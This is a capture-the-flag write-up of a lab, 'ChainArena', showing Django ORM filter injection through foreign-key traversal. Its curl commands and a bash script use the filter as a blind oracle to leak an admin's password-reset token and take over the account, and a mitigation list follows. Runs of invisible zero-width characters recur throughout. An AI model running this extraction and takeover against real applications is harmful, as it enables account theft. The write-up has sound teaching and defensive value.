← Back to Writeups
CUSTOMMediumWeb

Lab 387 — ChainArena — Django ORM Injection to Admin Takeover

XESXOR9/2/20265 min read
#web#custom#medium#admin_takeover#boolean_blind_extraction#contains_oracle#django_orm_filter_injection#foreign_key_traversal#password_reset_token_extractio#startswith_oracle

Lab 387 — ChainArena — Django ORM Injection to Admin Takeover

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_takeover, boolean_blind_extraction, contains_oracle, django_orm_filter_injection, foreign_key_traversal, password_reset_token_extraction, startswith_oracle

Summary

Walkthrough of the CUSTOM Web Lab 387 — ChainArena — Django ORM Injection to Admin Takeover. Task: Crypto-staked gaming platform with REST API that passes user JSON filters directly to Django ORM .filter() without field whitelisting. Solution: exploit Django ORM filter injection via foreign k

Description

ChainArena is a competitive crypto-staked gaming platform by ArenaLabs Inc. Players stake ETH on skill-based matches across multiple game modes, track their performance on leaderboards, and manage their wallets. The platform features user accounts with wallet balances, a match browser with filtering capabilities, leaderboards ranked by earnings, and an administrative backend for platform management. Your goal is to discover and exploit a vulnerability in the application that allows you to escalate your privileges and retrieve the flag from the admin panel. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Django-based gaming platform with a REST API for filtering matches. The API accepts arbitrary JSON filters and passes them directly to Django's ORM .filter() method. The goal is to exploit this to extract admin credentials via password reset token leakage from the email_logs model, then access the admin panel to retrieve the flag.

Credentials: user@test.com / password123

Analysis

Reconnaissance

After logging in with provided credentials, the application exposes several features: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. / — Dashboard with wallet balance and recent matches
  2. /matches/ — Match browser with filtering
  3. /leaderboard/ — Player rankings by earnings (reveals staff user "ArenaOps")
  4. /wallet/ — Wallet management
  5. /admin/ — Admin panel (requires admin privileges)
  6. /api/matches/filter — REST API endpoint for match filtering (mentioned in footer)
  7. /forgot-password — Password reset functionality

Important: HTML source contains decoy flags like FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — these are fake honeypots designed to trap automated tools. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Identifying the Vulnerability

The /api/matches/filter endpoint accepts POST requests with JSON filters:

json
{"filters": {"field": "value"}}

Testing with invalid fields reveals available Match model fields from the error message:

  • completed_at, created_at, game_type, id, match_id, opponent, opponent_id, payout, player, player_id, region, stake_amount, status, winner, winner_id

Testing ORM lookups confirms Django ORM Filter Injection:

  • __contains, __startswith, __gt work on Match fields
  • FK traversal: player__id__gt works
  • player__email is blocked, but opponent__user__email__startswith works ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This reveals that foreign key traversal to the User model is allowed through specific paths, enabling access to related models.

Data Model Relationships

The relationship chain to sensitive data:

Match → opponent (FK → Player) → user (FK → User) → email_logs (FK → EmailLog) → message

The email_logs model stores password reset emails containing reset tokens.

Solution

Step 1: Extract Admin Email

Using the leaderboard, we identify a staff user "ArenaOps". Use the boolean oracle to extract their email: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
# Test prefix
curl -s -b "$COOKIES" -X POST "$TARGET/api/matches/filter" \
  -H "Content-Type: application/json" \
  -H "X-CSRFToken: $CSRF" \
  -d '{"filters": {"opponent__user__email__startswith": "ops-"}}'

Character-by-character extraction reveals: ops-director@chainarena.gg

Step 2: Extract Admin Username

bash
curl -s -b "$COOKIES" -X POST "$TARGET/api/matches/filter" \
  -H "Content-Type: application/json" \
  -H "X-CSRFToken: $CSRF" \
  -d '{"filters": {"opponent__user__username__startswith": "arena"}}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Extraction reveals: arena_ops

Step 3: Trigger Password Reset

Request a password reset for the admin account:

bash
curl -X POST "$TARGET/forgot-password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=ops-director@chainarena.gg"

This generates a password reset email stored in email_logs.

Step 4: Extract Password Reset Token

The email_logs model is accessible via FK traversal. Extract the reset token using __contains as a boolean oracle:

bash
#!/bin/bash
# Token extraction script
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

check_filter() {
    curl -s -b "$COOKIES" -X POST "$TARGET/api/matches/filter" \
      -H "Content-Type: application/json" \
      -H "X-CSRFToken: $CSRF" \
      -d "$1" | grep -q '"total":[1-9]'
}

token=""
charset="abcdefghijklmnopqrstuvwxyz0123456789"

while true; do
    found=0
    for c in $(echo $charset | fold -w1); do
        filter="{\"filters\": {\"opponent__user__email_logs__message__contains\": \"token=${token}${c}\"}}"
        if check_filter "$filter"; then
            token="${token}${c}"
            echo "[+] Token: $token"
            found=1
            break
        fi
    done
    [ $found -eq 0 ] && break
done
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

echo "[*] Final token: $token"

Extracted token: x364mrkj1dyy9nxaldkfipgtaqbsv56a5lb9mpjvgpc

Also extract the uid parameter:

bash
# Filter: {"filters": {"opponent__user__email_logs__message__contains": "uid=1"}}
# Result: uid=1

Step 5: Account Takeover

Use the extracted token and uid to reset the admin password:

bash
curl -X POST "$TARGET/reset-password?token=x364mrkj1dyy9nxaldkfipgtaqbsv56a5lb9mpjvgpc&uid=1" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password=newpassword123&confirm_password=newpassword123"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 6: Access Admin Panel

Login as arena_ops with the new password and navigate to /admin:

bash
# Login as admin
curl -c admin_cookies.txt -X POST "$TARGET/login" \
  -d "username=arena_ops&password=newpassword123"

# Access admin panel
curl -b admin_cookies.txt "$TARGET/admin"

The admin panel contains the flag.

Mitigation

  • Whitelist allowed filter fields — never pass arbitrary user-supplied query parameters to Django's .filter()
  • Use django-filter library which provides safe field whitelisting by default
  • Restrict relationship traversal depth — do not allow __ chains across model boundaries
  • Do not store sensitive data like password reset tokens in queryable models — use separate secure storage or hash tokens
  • Implement rate limiting on password reset endpoints
  • Use short-lived, single-use password reset tokens
  • Log and alert on suspicious filter patterns (e.g., __ chains to sensitive models) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering admin_takeover, boolean_blind_extraction, contains_oracle, django_orm_filter_injection, foreign_key_traversal, password_reset_token_extraction, startswith_oracle was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-07 • CUSTOM • Lab 387 — ChainArena — Django ORM Injection to Admin Takeover • Difficulty: Medium